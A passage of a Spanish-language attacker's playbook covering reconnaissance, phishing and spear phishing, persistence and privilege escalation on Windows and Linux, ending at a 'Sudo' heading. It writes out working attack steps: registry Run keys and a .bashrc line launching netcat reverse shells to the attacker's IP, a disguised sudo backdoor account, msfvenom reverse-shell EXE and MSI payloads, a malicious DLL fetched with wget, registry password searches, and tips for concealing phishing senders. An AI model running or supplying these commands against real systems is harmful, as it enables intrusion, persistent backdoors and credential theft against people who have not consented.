Técnicas
Reconocimiento Pasivo
- Recopilación de información IP/DNS del dominio: Determinamos la IP, servidores y registros DNS del dominio objetivo. Herramientas como Host, Nslookup, Dig o DNSRecon son muy útiles para este paso.
- Recopilación de información sobre el Dominio/Sitio Web: Determinamos la información relevante al sitio web, como el administrador, la empresa registradora, el responsable así como la fecha de expiración del dominio. Tambíen podemos determinar si existe algún tipo de WAF (Firewall de nivel de Aplicación Web) así como las diferentes tecnologías que utiliza el sitio web. Contamos con utilidades como Whois, WAF, Wappalyzer o Whatweb
- Extraer información de empleados. En este punto debemos utilizar las redes sociales para extraer la máxima información posible sobre los empleados e intentar obtener correos electrónicos o información relevante.
- Enumeración pasiva de subdominios. Podemos listar los subdominios mediante diccionarios de palabras con herramientas como Sublist3r.
Reconocimiento Activo
- DNS Zone Transfers: Es un mecanismo que utilizan los administradores de sistema para replicar la base de datos de los servidores DNS a través de consultas tipo AXFR. Podemos usar esta funcionalidad para obtener copias de los registros DNS si el mecanismo de transferencia de zona DNS está activo. De esta manera se puede suplantar un DNS y redirigir las peticiones DNS de la víctima a nuestro servidor, que puede resultar en una suplantación web con un posible robo de credenciales posterior. Esto se denomina envenenamiento DNS (DNS Poisoning). Para ello contamos con herramientas como DNSRecon o Fierce.
- Escaneo de puertos: El objetivo de esta técnica es determinar los servicios que están funcionando en el sistema desde el exterior y comprobar si las versiones que se encuentra funcionando tienen alguna vulnerabilidad conocida o fallos de configuración que permitan su explotación. La herramienta mas conocida en el mundo hacker es Nmap, con una potencia brutal que además incluye su Nmap Script Engine, que nos permite, por ejemplo, ejecutar scripts para verificar e intentar explotar las vulnerabilidades con scripts conocidas sobre las versiones de los servicios encontrados.
- Fuerza Bruta a Subdominios: Esta técnica nos permite, haciendo uso de una lista de palabras mas usadas para declarar subdominios, realizar una enumeración de los subdominios que cuelgan de un dominio haciendo consultas por fuerza bruta. Contamos con herramientas como Knockpy o GoBuster.
- Fuerza Bruta a directorios: La técnica es la misma utilizada para los subdominios pero en este caso para directorios de una aplicación web o dominio. Mediante un diccionario de las palabras mas usadas para nombrar directorios en un servidor, se realiza una fuerza bruta sobre los dominios para la enumeración de directorios. También podemos utilizar en este punto GoBuster u otras herramientas como dirb.
- Escaneo de vulnerabilidades web: Mediante herramientas automáticas, esta técnica nos permitirá escanear una web para descubrir las vulnerabilidades y fallos de configuración que tienen, analizando las cabeceras de las peticiones que se envian así como de la respuesta del servidor y chequeos como captura de cookies recibidas, archivos o directorios con mala configuración de permisos, etc. Una herramienta muy potente para este paso es Nikto.
- Escaneo de vulnerabilidades CMS: Desde hace unos años se puso de moda el desarrollo web mediante CMS, puesto que nos ahorra mucho tiempo y costes a la hora de montar un sitio web. Estos sistemas funcionan a base de plantillas que interaccionan entre sí y que tienen los componentes necesarios para desarrollar una web incluso con pocos conocimientos sobre desarrollo, redes o protocolos de aplicaciones. La desventaja ocasionada es que mucho personal no técnico es capaz de montar una web, pero sin ser conscientes de los riesgos que implica dejar archivos por defecto o directorios con permisos totales. Un ejemplo es WordPress, el CMS más utilizado. Para el análisis de este, tenemos wpscan que nos ayuda a identificar vulnerabilidades y fallos de configuración en un sitio web construido con WordPress. Para otro tipo de CMS existen herramientas especificas.
Compromiso Inicial
La mayoría de la gente piensa que un atacante penetra en la red utilizando medios casi mágicos basados en habilidades avanzadas y alguna vulnerabilidad de “dia cero”. La realidad es mucho más simple, un ciberatacante debe ser eficiente, efectivo y su operación debe pasar desapercibida el mayor tiempo posible.

- Phishing: Es la más común en esta fase. Se envían correos electrónicos a las posibles víctimas esperando que respondan positivamente al correo. El objetivo mas común es lucrarse de manera económica. Por ejemplo, el atacante envía un correo electrónico haciéndose pasar por una empresa bancaría legítima con un enlace en el que hacer clic, para posteriormente redirigir al usuario a un sitio web falso, copia del sitio web original con un formulario donde introducir sus credenciales de la cuenta bancaria o la información de tarjeta de crédito. Esta información luego se envía a sistemas controlados por el atacante. Hay dos variantes comunes de Phishing. La primera y menos efectiva es la creación de correo s electrónicos enviados a cientos o miles de personas elegidas al azar o de una lista de correos electrónicos pidiendo directamente credenciales o información en dicho correo. La segunda consiste en enviar un correo con un documento adjunto que puede contener malware y que robará credenciales almacenadas en el sistema infectado (credenciales bancarias, de cuentas de correo o servicios). Se utilizan diferentes esquemas de ingeniería social para atraer al usuario a abrir el archivo adjunto.
- Spear Phishing: La diferencia con el phishing tradicional consiste en que esta variante es un phishing dirigido. Los atacantes envían muy pocos correos electrónicos pero que apuntan a la victima o victimas correctas. Podemos diferenciar dos tipos.
- Spear Phishing masivo: Los atacantes envían gran cantidad de correos a objetivos seleccionados en referencia a actividades o preferencias personales para incrementar la posibilidad de caer en el phishing. Pongamos que eres un apasionado de la cocina. Probablemente te registres en foros o portales en referencia a recetas de cocina y rellenes información adicional que no es necesaria pero te caracteriza. Un objetivo principal de un atacante cuando penetra un sitio web es volcar su base de datos, la cual contiene esa información y puede ser usada para Spear Phishing masivo o para venderla en internet.
- Spear Phishing tradicional: Esta técnica se define como un correo electrónico enviado a muy pocas personas con un contenido adaptado y personalizado para el receptor, utilizando la información relevante de la etapa de reconocimiento. Este método es preferible por las siguientes razones.
- Tiene una tasa de apertura del 70%.
- Un atacante con prisa no tarda mucho en encontrar una dirección de correo a la que atacar.
- Es sencillo de realizar. Solo hay que tener cuidado de ocultar la IP de la máquina que envía el correo electrónico (puede enviarse desde una red comprometida, proxies acceso wifi público…)
- Como primera entrada a la red objetivo, puesto que atacarla desde el exterior mediante la explotación de vulnerabilidades requiere muchas más habilidades técnicas y podría activar algunas alarmas en el sistema víctima si no se hace correctamente.
- Una campaña masiva podría detectarse facilmente en el servidor de correo, sobre todo si varias personas de la empresa reciben correos similares que provienen de la misma IP o tienen el mismo asunto.
- Es facil falsificar un correo electrónico que parezca que proviene de algun compañero. Existen dos problemas potenciales para el atacante. En primer lugar que el servidor de correo rechace el correo si tiene buenos parámetros de seguridad. El segundo, si el receptor responde a una dirección falsa. En ese casó el objetivo puede percatarse de que algo anda mal. Para resolver este problema el atacante podría crear un correo electrónico con un nombre cercano al legítimo solo para el ataque.
- Explotación de redes sociales: Actualmente, la red social profesional más grande del mundo es LinkedIn y casi todas las empresas tienen empleados registrados. Es fácil crear un perfil falso realista de un empleado de la empresa, puesto que toda la información en LinkedIn es declarativa, no hay control sobre ella. Posteriormente pueden enviarse invitaciones a los empleados de dicha empresa y tratar de unirse a un grupo perteneciente a la empresa sin verificación alguna. A partir de aquí ya puedes disponer de varios perfiles a los que acceder. Difundes un enlace malicioso con malware incrustado para recopilación de credenciales o aperturas de servicios con los que comunicarse y ¡BOOM!. No obstante existen redes sociales mas interesantes en los que se pueden aplicar mecánicas parecidas como Facebook, Instagram y Twitter. Si un atacante compromete una computadora doméstica de un empleado de alguna empresa es posible que pueda acceder a información corporativa que tenga guardada en ella, accesos de VPN, archivos de contraseña… sobre todo si ese equipo es utilizado para teletrabajo o estudio. Si los atacantes consiguen robar credenciales o certificados ya tenemos la explotación realizada.
- Watering Hole Infections: Esta técnica consiste en tratar de infectar un sitio web famoso con miles de visitantes para propagar malware e infectar a gran cantidad de visitantes. Así se posibilita crear una botnet o un robo de credenciales masivo. Los atacantes conocen muy bien sus objetivos tras la fase de reconocimiento, así que también probablemente puedan conocer sus principales proveedores. De esta manera, y conociendo los rangos IP de los proveedores, se puede filtrar a quien se infecta, o incluso los atacantes podrían infectar a todos y luego ordenar los objetivos por direcciones IP. Es probablemente la forma mas rápida de comprometer varios objetivos con un solo movimiento.
- Ataques directos: Este es el escenario mas sencillo para un compromiso inicial. Los atacantes apuntan a los servidores del objetivos expuestos a internet. Los servidores web son los servidores mas específicos aquí. Existen otros servidores objetivos como pueden ser DNS, servidores de correo electrónicos o cualquier servidor conectado a internet. Una vez encontrada una vulnerabilidad, los atacantes lanzan el ataque para comprometer el servidor y explorar más e instalar puertas traseras.
Establecimiento de la persistencia
Windows
Tareas Programadas
Una de las técnicas mas famosas es la creación de una tarea programada que se ejecuta dentro de un rango de tiempo para ejecutar código en el destino. La siguiente linea crea una tarea programada que se ejecuta cada minuto y despues ejecuta un shell en la ruta C:\tmp\access.cmd.
schtasks /create /sc minute /mo 1 /tn "tareapersistente" /tr C:\tmp\access.cmd /ru "SYSTEM"
Modificación de Claves de registro
Ejemplo:
El siguiente código se usa para ejecutar nc.exe e iniciar shell remota cuando se inicia la máquina:
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\CurrentVersion\Run /v 1 /d "C:\Users\user\Downloads\nc.exe -e cmd.exe nuestra-IP puerto"
Se suele utilizar la modificación de claves de registro para lograr la persistencia en un sistema. Algunos de los valores o ubicaciones de registros mas comunes son:
Puntos de arranque automático de Windows
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
Las claves enumeradas anteriormente están a nivel de usuario y, a menudo, se utilizan en el análisis de malware para lograr la persistencia si no se pueden explotar los privilegios de nivel de administrador/sistema.
De lo contrario:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersionRunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Clave BootExecute
Dado que smss.exe se inicia antes de que se cargue el subsistema de Windows, llama al subsistema de configuración para cargar la sección presente en HKLM_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist
. Además, smss.exe lanzará cualquier cosa presente en la clave BootExecute en HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager
. Siempre debe tener el valor de autocheck autochk*. Si hay más valores en él, entonces probablemente haya persistencia que se inicializa en el arranque.
Claves utilizadas por el proceso WinLogon
- Userinit: El proceso Winlogon usa el valor especificado en la clave Userinit para iniciar secuencias de comandos de inicio de sesión, etc. Esta clave se encuentra en
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
. Normalmente la clave apunta a userinit.exe, pero si esta clave se puede modificar, Winlogon también iniciará ese exe. - Notify: Dado que Winlogon maneja la secuencia de atención segura (SAS) (Ctrl+Alt+Del), las subclaves de notificación que se encuentran en
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify
se usan para notificar a los controladores de eventos cuando ocurre SAS y carga una DLL. Esta DLL se puede editar para que se inicie cada vez que ocurra dicho evento SAS. - explorador.exe: Apuntada por la clave ubicada en
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Shell
, esta clave apunta a explorer.exe (interfaz de Windows) y solo debe ser una cadena “explorer.exe” ya que se supone que debe iniciarse desde Windows. La clave de arranque enHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\system.ini\boot
apunta a la ubicación bajo Winlogon únicamente.
Claves de inicio
Los autores de malware suelen colocar un archivo malicioso en el directorio de inicio. Cualquier acceso directo creado a la ubicación señalada por la subclave Inicio iniciará el servicio durante el inicio de sesión/reinicio. La ubicación de inicio se especifica tanto en Máquina local como en Usuario actual.
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Servicios
Muchos servicios de Windows se ejecutan en el arranque, como los servicios de estación de trabajo/servidor, el registro de eventos y otros controladores. Estos se encuentran en HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices
. Además de colocar un archivo malicioso en la clave de registro mencionada anteriormente, se pueden cargar archivos maliciosos si un servicio no se inicia. Por ejemplo, se puede usar un fallo de RDP para ejecutar un programa.
Hay algunas otras claves que se utilizan para iniciar servicios en segundo plano, como el servicio de registro remoto. Estos se encuentran en: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
Objetos auxiliares del navegador (BHO)
Es un módulo DLL cargado cuando se inicia Internet Explorer. Varios tipos de malware de robo de datos afectan a BHO. Están ubicados en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
. Hay varias subclaves en BHO que le indican al navegador que cargue qué archivos DLL.
AppInit_DLL
La clave ubicada en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
mostrará las DLL cargadas por User32.dll. Como la mayoría de los ejecutables cargan User32.dll, este es un buen lugar para inyectar DLLs maliciosas.
Claves de asociación de archivos
Ubicado en HKEY_LOCAL_MACHINE\Software\Classes
y HKEY_CLASSES_ROOT
; hay varias teclas que se utilizan para especificar la acción cuando se abre un cierto tipo de archivos.
Secuestro de orden de búsqueda de DLL
Secuestrar un concepto sobre cómo el sistema operativo carga las DLL. Cada vez que se carga un exe (incluso explorer.exe), sigue una búsqueda de ruta determinada para cargar las DLL requeridas. Es posible agregar una DLL maliciosa con el mismo nombre en un directorio anterior al directorio donde reside la DLL legítima. Si el modo de búsqueda segura de DLL está habilitado, el sistema operativo verificará si la DLL ya está cargada en la memoria o si es parte de la clave de registro de DLL conocidas ubicada en HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
. Si el sistema operativo no puede encontrar la DLL en ninguno de estos, la búsqueda de DLL comienza en el siguiente orden
Directorio de inicio de la aplicación > Directorio del sistema (C:\Windows\System32) > Directorio de Windows > Directorio de trabajo actual > Directorios definidos en la variable PATH
.
Linux
Persistencia mediante claves SSH
Consiste en la generación y uso de autenticación basada en la clave SSH. Ayudará a mantener el acceso al sistema si se han cambiado las contraseñas de las cuentas de usuario. Requiere que la autenticación de clave pública esté habilitada en el archivo de configuracion de SSH. Se necesitará privilegios de root para modificar el archivo de configuración de SSH.
1.- Se ejecuta ssh-keygen
.
2.- Se copia el contenido (id_rsa.pub) y se agrega a “authorized_keys” en el directorio .ssh de la cuenta de usuario comprometida (/root/.ssh/authorized_keys)
3.- Se otorgan privilegios 700 al directorio y 600 al fichero “authorized_keys”.
4.- Se prueba el acceso mediante SSH.
Creando una cuenta de usuario local con privilegios
Consiste en la creación de una cuenta de usuarios con privilegios como puerta trasera.
1.- Creamos cuenta de usuario: useradd -m -s /bin/bash ww-data
. El nombre debe pasar lo más desapercibido posible.
2.- Agregarlo al grupo “sudo”: usermod -aG sudo ww-data
.
3.- Cambiar la contraseña: passwd ww-data
4.- Se prueba el acceso desde SSH.
Modificar configuración de la Shell de Linux
Esta técnica implica agregar un comando bash reverse en el .bashrc del objetivo para conectarnos a el cuando inicie la terminal.
Se modifica el fichero ~./bashrc para añadirle un comando que nos cree una shell inversa hacia nuestro sistema.
nc -e /bin/bash 'nuestra-IP' 'puerto' 2>/dev/null &
Donde el puerto debe ser el que esté escuchando nuestra máquina por Netcat. Para ello en nuestra máquina: nc -nlvp 'puerto'
Cada vez que el usuario inicie sesión se ejecutará .bashrc y en consecuencia nos proporciona una interfaz de comando inversa.
Creación binario SUID
Un binario con SUID implica que todo el que ejecute dicho fichero se realizará con los privilegios del usuario propietario del fichero. Cualquier persona que ejecute dicho binario tendrá acceso al sistema con privilegios de root, en caso de que el propietario de ese binario sea root.
Para habilitar el fichero, script o binario correspondiente con SUID solo debe hacerse chmod 4777 /ruta/fichero.sh
Persistencia mediante Tareas Cron
El archivo crontab tiene tareas que se ejecutan regularmente así como el nombre del comando que las administra. El atacante puede crear un shell remoto a su servidor cada 12 horas por ejemplo. La edición de crontab puede realizarse sin privilegios de root.
Tareas que se ejecutan al Inicio del sistema
Es común para un atacante tratar de obtener persistencia en el sistema mediante tareas que se ejecuten al inicio de este. Para ello una de las formas es crear un Bash Script en /etc/init.d/service, ejecutar #sudo update-rc.d service enable
que habilitará la ejecución en el arranque del sistema.
Escalada de Privilegios
Windows
Los tipos de privilegios con respecto a los usuarios en windows son los siguientes:
- Administrador local: Usuario con más privilegios.
- Estándar (local): pueden acceder al sistema pero solo pueden realizar tareas limitadas. Por lo general, no pueden realizar cambios permanentes o esenciales en el sistema.
- Invitado: Esta cuenta da acceso al sistema pero no se define como usuario.
- Estándar (dominio): Active Directory permite a las organizaciones administrar cuentas de usuario. Una cuenta de dominio estándar puede tener privilegios de Administrador Local.
- Administrador de Dominio: Podría ser considerado como el usuario con más privilegios. Puede editar, crear y eliminar otros usuarios en todo el dominio.
Por tanto las técnicas son las siguientes.
Enumeración de usuarios
Privilegios del usuario actual: whoami /priv
Lista de usuarios: net users
Lista de detalles del usuario: net user
Otros usuarios que iniciaron sesión: qwinsta
Grupos de usuarios definidos en el sistema: net localgroup
Lista de miembros de un grupo específico net localgroup
Enumeración del sistema
systeminfo
devolverá una descripción general del sistema. Puede usar findstr
para filtrar la salida.
Búsqueda de archivos
findstr
El comando se puede usar para buscar archivos en el ejemplo del (sub)directorio: findstr /si password *.txt
A nivel de Parches
Microsoft lanza actualizaciones y parches para sistemas Windows. Un parche crítico en el sistema de destino puede ser fácilmente explotable para escalada de privilegios. El siguiente comando se utiliza para enumerar las actualizaciones instaladas: wmic qfe get Caption,Description,HotFixID,InstalledOn
WMIC es una herramienta de línea de comandos en Windows que proporciona una interfaz para el Instrumental de administración de Windows (WMI). Puede hacer más que solo dar información sobre los parches instalados. Se puede utilizar para buscar vulnerabilidades de ruta de servicio sin comillas. WMIC está obsoleto en Windows 10, versión 21H1. Para versiones más nuevas, debe usarse cmdlet en PowerShell.
Conexiones de red
Es posible que se haya realizado un escaneo nmap en el objetivo inicial, así que ya sabe lo que se está ejecutando. Pero algunos servicios solo son accesibles localmente. El comando netstat -ano
enumerará todos los puertos de escucha en el sistema de destino.
-a: muestra todas las conexiones activas
-n: impide la resolución de nombres. Las direcciones IP y los puertos se muestran con un número.
-o: muestra el PID utilizado por cada proceso
Cualquier puerto enumerado como “ESCUCHANDO” que no se descubrió con el escaneo externo puede ser un servicio local potencial.
Tareas programadas
Algunas tareas pueden programarse para ejecutarse en momentos específicos. Si se ejecutan con una cuenta privilegiada y el ejecutable puede ser modificado por el usuario actual que tiene, sería un camino fácil para la escalada de privilegios.
Para comprobar esto, puede ejecutar el schtasks
Para ver todas las tareas en detalle utilice el schtasks /query /fo LIST /v
Antivirus
A veces hay que lidiar con AV, también conocido como Antivirus. El antivirus puede hacer que pierda su shell si no intenta evadirlo. Siempre es una buena idea verificar si el antivirus está presente y funcionando.
Para verificar si Windows Defender se está ejecutando, podemos usar el comando sc query windefend
Para verificar si algún AV se está ejecutando en un servicio específico, podemos usar el sc queryex type=service
.
- Herramientas automáticas para enumeración: WinPEAS, PowerUp, Windows Exploit Suggester, Metasploit
Software Vulnerable
El software instalado en un sistema puede ser una oportunidad de escalada de privilegios. Es posible que las organizaciones o usuarios no actualicen con tanta frecuencia como el sistema operativo. Podemos usar la herramienta wmic para listar el software instalado en el sistema y sus versiones. wmic enumerará todo el software instalado en el objetivo. Para obtener una salida limpia podemos usar wmic product get name,version,vendor
Debido a algunos problemas de compatibilidad con versiones anteriores es posible que el producto wmic no incluya los programas instalados. Por lo tanto, vale la pena verificar los servicios en ejecución usando el comando wmic service list brief
y puede filtrar la salida con findstr
si se requiere.
Para listar más información sobre un servicio puede utilizar sc qc ""
. En este punto, puede encontrar cualquier posible explotación de escalada de privilegios que pueda usarse contra el software instalado en el sistema de destino.
Secuestro de DLL
El secuestro de DLL es una técnica efectiva que puede permitir inyectar código en una aplicación. Algunos ejecutables (.exe) usarán bibliotecas de vínculos dinámicos (DLL) cuando se ejecuten. Son archivos que almacenan funciones adicionales que admiten los archivos .exe principales. Si podemos cambiar un archivo DLL legítimo por un archivo DLL malintencionado, la aplicación ejecutará nuestro código. Se requiere una aplicación .exe al que le falte un archivo DLL o en el que se puede usar el orden de búsqueda para insertar el archivo DLL malicioso.
El propio Windows usa muchos archivos DLL que se almacenan en C:\Windows\System32
. Una sola DLL se puede usar en muchos ejecutables diferentes o en un solo ejecutable.
Para hacer un DLL Hijacking exitoso necesitamos:
- Una aplicación que utiliza uno o más archivos DLL
- Una forma de manipular estos archivos DLL Manipular archivos DLL podría significar reemplazar o crear un archivo en la ubicación donde la aplicación está buscando. Para tener una mejor idea de esto, necesitamos saber dónde buscan las aplicaciones los archivos DLL. Microsoft tiene un documento sobre este tema aquí. Si SafeDllSearchMode está habilitado el orden es:
- El directorio desde el que se cargó la aplicación.
- El directorio del sistema. La función
GetSystemDirectory
para obtener la ruta de este directorio. - El directorio de Windows. Función GetWindowsDirectory para obtener la ruta de este directorio.
- El directorio actual.
- Los directorios que se enumeran en la variable de entorno PATH.
Si SafeDllSearchMode está deshabilitado:
- El directorio desde el que se cargó la aplicación.
- El directorio actual.
- El directorio del sistema. Función
GetSystemDirectory
para obtener la ruta de este directorio. - El directorio de Windows. Función
GetWindowsDirectory
para obtener la ruta de este directorio. - Los directorios que se enumeran en la variable de entorno PATH.
Encontrar vulnerabilidades en el secuestro de DLL
La identificación de una vulnerabilidad de DLL requerirá el uso de herramientas o secuencias de comandos adicionales en el sistema, aunque esto puede causar un ruido innecesario. Una herramienta que puede usar para encontrar una vulnerabilidad potencial es Process Monitor.
Creando un DLL malicioso
Como los archivos DLL mencionados son archivos ejecutables, serán ejecutados por el archivo ejecutable y se ejecutarán los comandos que contienen. El archivo DLL podría ser un shell inverso o un comando del sistema operativo.
Para compilar una pieza de código C en un archivo DLL, se usa el compilador Mingw. Esto se puede instalar usando la instalación apt gcc-mingw-w64-x86-64
. Para generar el código podemos usar el siguiente comando: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
Una vez compilado, necesitaremos mover el archivo .DLL a la máquina local, podemos hacerlo usando un servidor python local, por ejemplo, y luego usando el comando wget en powershell. (wget -O test.dll http://10.11.46.156:8000/test.dll
).
Luego de colocar el archivo .DLL en su lugar tendremos que iniciar el servicio nuevamente usando el siguiente comando: sc stop start
Unquoted Service Path
Cuando se inicia un servicio, el sistema operativo tiene que buscar el ejecutable. El servicio netlogon se refiere al binario C:\Windows\system32\lsass.exe
.
Si C:\Program Files\topservice folder\subservice subfolder\srvc.exe, este camino no sería simplemente diferente de “C:\Program Files\topservice folder\subservice subfolder\srvc.exe”. Windows sabe que está buscando un archivo ejecutable (.exe). Si la ruta está escrita entre comillas, irá directamente a la ubicación correcta. Si no y algún nombre de carpeta en la ruta tiene un espacio, Windows agregará “.exe” y comenzará a buscar un ejecutable, comenzando con la ruta más corta posible . Si falla, se realizará otro intento en el siguiente subdirectorio. Hasta que se encuentre el ejecutable. Explotar esta vulnerabilidad requiere permisos de escritura en una carpeta donde el servicio buscará un ejecutable.
El comando wmic service get name,displayname,pathname,startmode
enumerará los servicios que se ejecutan en el sistema de destino, el nombre para mostrar y la ruta. Si encuentra un servicio interesante sin el uso de comillas, se puede utilizar sc qc unquotedsvc
para verificar la ruta completa del servicio.
Confirmado que la ruta binaria no está entrecomillada, deberá verificar si se puede escribir en la carpeta de la ruta. Puede hacerlo manualmente o usar una herramienta llamada accesschk.exe. .\accesschk64.exe /accepteula -uwdq "C:\"
Listará el grupo de usuarios con privilegios de lectura (r) y escritura (w) en la carpeta C:\. Puedes descargarse en GitHub
Después de verificar si se puede escribir en la ruta, podemos generar un ejecutable con MSFvenom y capturarlo con un controlador múltiple.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=X -f exe > nombre_exec.exe
Una vez que se haya generado y movido el archivo a la ubicación, reiniciar el servicio vulnerable (sc start
).
Token Impersonation
Las cuentas de servicio pueden tener un nivel de privilegio mas alto que los usuarios predeterminados de bajo nivel. En las versiones de Windows anteriores a Server 2019 y 10 (versión 1809), se ven afectadas por una vulnerabilidad interna de MitM. Las cuentas de servicio con privilegios más altos se verán obligadas a autenticarse en un puerto local en el que escucharemos. Una vez que intenta autenticarse, esta solicitud se modifica para negociar un token de seguridad para la cuenta “NT AUTHORITY\SYSTEM”. El usuario puede usar este token en un proceso llamado “suplantación”.
Utilizando whoami /priv
podemos ver los permisos de usuario regulares. En Windows Server 2019 y Windows 10 (versión 1809), un usuario no tiene derecho al privilegio “SeImpersonatePrivilege”.
Hay muchas vulnerabilidades en torno a este privilegio de suplantación de identidad (Hot Potato, Rotten Potato, etc.) El primer exploit fue Hot Potato, así es como funciona el exploit:
1.- El sistema de destino utiliza el protocolo de detección automática de proxy web para ubicar su servidor de actualización.
2.- La solicitud es interceptada por el exploit, que envía una respuesta al host local
3.- El sistema de destino solicita un archivo de configuración de proxy (wpad.dat)
4.- Se envía un archivo wpad.dat malicioso al objetivo.
5.- El sistema de destino intenta conectarse al proxy, que ahora es el archivo malicioso wpad.dat.
6.- El exploit le pedirá al sistema de destino que realice una autenticación NTLM
7.- el sistema de destino envía un protocolo de enlace NTLM.
8.- El protocolo de enlace recibido se transmite al servicio SMB con una solicitud para crear un proceso.
La versión de “Potato” funcional puede variar según la versión del sistema de destino, el nivel de parcheo y la limitación de la conexión de red. Si bien “Hot Potato” funciona dentro del sistema de destino, otras versiones requieren acceso a la red a través de puertos específicos.
Escalada Rápida
En ocasiones la escalada de privilegios puede ser sencilla debido a los descuidos en las configuraciones de los sistemas por parte de un administrador.
Tareas Programadas
Al examinar las tareas programadas en el sistema, es posible ver algunas que perdieron su binario o usan un binario que puede modificar. Se puede reemplazar este binario con algún código malicioso. Este binario debe ser ejecutado por alguien con privilegios más altos que el que ya tiene. Puede listar las tareas usando el schtasks
.
Instalación con privilegios por defecto
Los archivos de instalación de Windows (.msi) se utilizan para instalar aplicaciones en el sistema. Por lo general se ejecutan con el nivel de privilegio del usuario que lo inicia. Sin embargo, estos pueden configurarse para ejecutarse con mayores privilegios si la instalación requiere derechos de administrador que podría permitirnos generar un archivo MSI malicioso que podemos ejecutar con privilegios de administrador.
Este método requiere que se configuren dos claves regedit, puede consultarlas usando la línea de comando de esta manera:
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
Necesitará establecer ambos valores de registro. De lo contrario, no será explotable. Si está configurado, podemos generar shellcode usando msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=X -f msi -o malicious.msi
Una vez que haya transferido el archivo, ejecútelo usando el siguiente comando:
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Passwords
Hay ubicaciónes en Windows que podría ocultar contraseñas en texto claro.
- Credenciales guardadas: Windows nos permite usar las credenciales de otros usuarios. Esta función también da la opción de guardar estas credenciales en el sistema. El siguiente comando enumerará las credenciales guardadas.
cmdkey /list
.
Si ve alguna credencial al intentarlo, puede usarla con el runas /savecred /user:admin reverse_shell.exe
También se pueden usar modulos de Mimikatz para traer las contraseñas almacenadas.
- Claves de registro:
Las claves de registro que contienen contraseña se pueden consultar usando los comandos
reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s
- Archivos desatendidos:
Los archivos Unattend.xml ayudan a los administradores a configurar el sistema Windows. Deben eliminarse una vez que se completa la configuración, pero a veces se olvidan. Si encuentra este tipo de archivo, vale la pena leerlos.
Linux
Comandos básicos
hostname: Devuelve el nombre de host de la máquina de destino. Esto puede proporcionar información sobre la función del sistema.
uname -a: proporciona información sobre el kernel utilizado por el sistema. Útil al buscar posibles vulnerabilidades del núcleo que podrían conducir a privesc.
uname -r: para ver la versión del kernel.
cat /proc/version: proporciona información sobre los procesos del sistema, versión del kernel e información adicional, por ejemplo, si hay un compilador instalado.
cat /etc/issue: este archivo generalmente contiene información sobre el sistema operativo
ps: Para ver los procesos que se están ejecutando actualmente en el sistema operativo. Escribir solo ps le mostrará los procesos del shell actual. Salida:
PID: El ID del proceso (esto es único para cada proceso)
TTY: tipo de terminal
Tiempo: cantidad de tipo de CPU utilizada por el proceso
CMD: el comando o ejecutable en ejecución
Algunas opciones útiles son:
ps -A: Ver todos los procesos actualmente en ejecución
ps axjf: Ver árbol de procesos
ps aux*: Esto mostrará los procesos para todos los usuarios (a) muestra el usuario que inicia el proceso (u) muestra los procesos que no están conectados a una terminal (x). Esta es una excelente manera de comprender el sistema y buscar vulnerabilidades*.
env: muestra las variables de entorno
sudo -l: este comando muestra todos los comandos que el usuario puede ejecutar con el comando sudo. Por lo tanto, con privilegios de root.
id: el comando id brindará una descripción general del nivel de privilegios y grupos de los usuarios.
/etc/passwd: leer este archivo puede ser una manera fácil de descubrir usuarios en el sistema.
history: este comando mostrará los comandos anteriormente utilizados.
ifconfig: ifconfig dará información sobre las interfaces de red. Puede verificar esto usando el comando “route ip” que muestra todas las rutas actuales.
netstat: Se puede usar con varias opciones diferentes para recopilar información sobre las conexiones existentes.
netstat -a: muestra todos los puertos y conexiones de escucha
netstat -at o netstat -au: se puede usar para enumerar los protocolos TCP o UDP
netstat -l: lista de puertos en modo de escucha, esos puertos están listos y abiertos para conexiones entrantes
search: este comando permite al usuario encontrar y buscar ciertos archivos
Algunas herramientas automatizadas:
- LinPEAS
- LinEnum
- LES (sugerencias de exploits de Linux)
- Enumeración inteligente de Linux
- LinuxPrivChecker
Vulnerabilidades del kernel
- Identificar la versión
uname -r
- Buscar un código de explotación para la versión del kernel del sistema
- Ejecutar el exploit
Puede usar Google para buscar el código de explotación.
Sudo
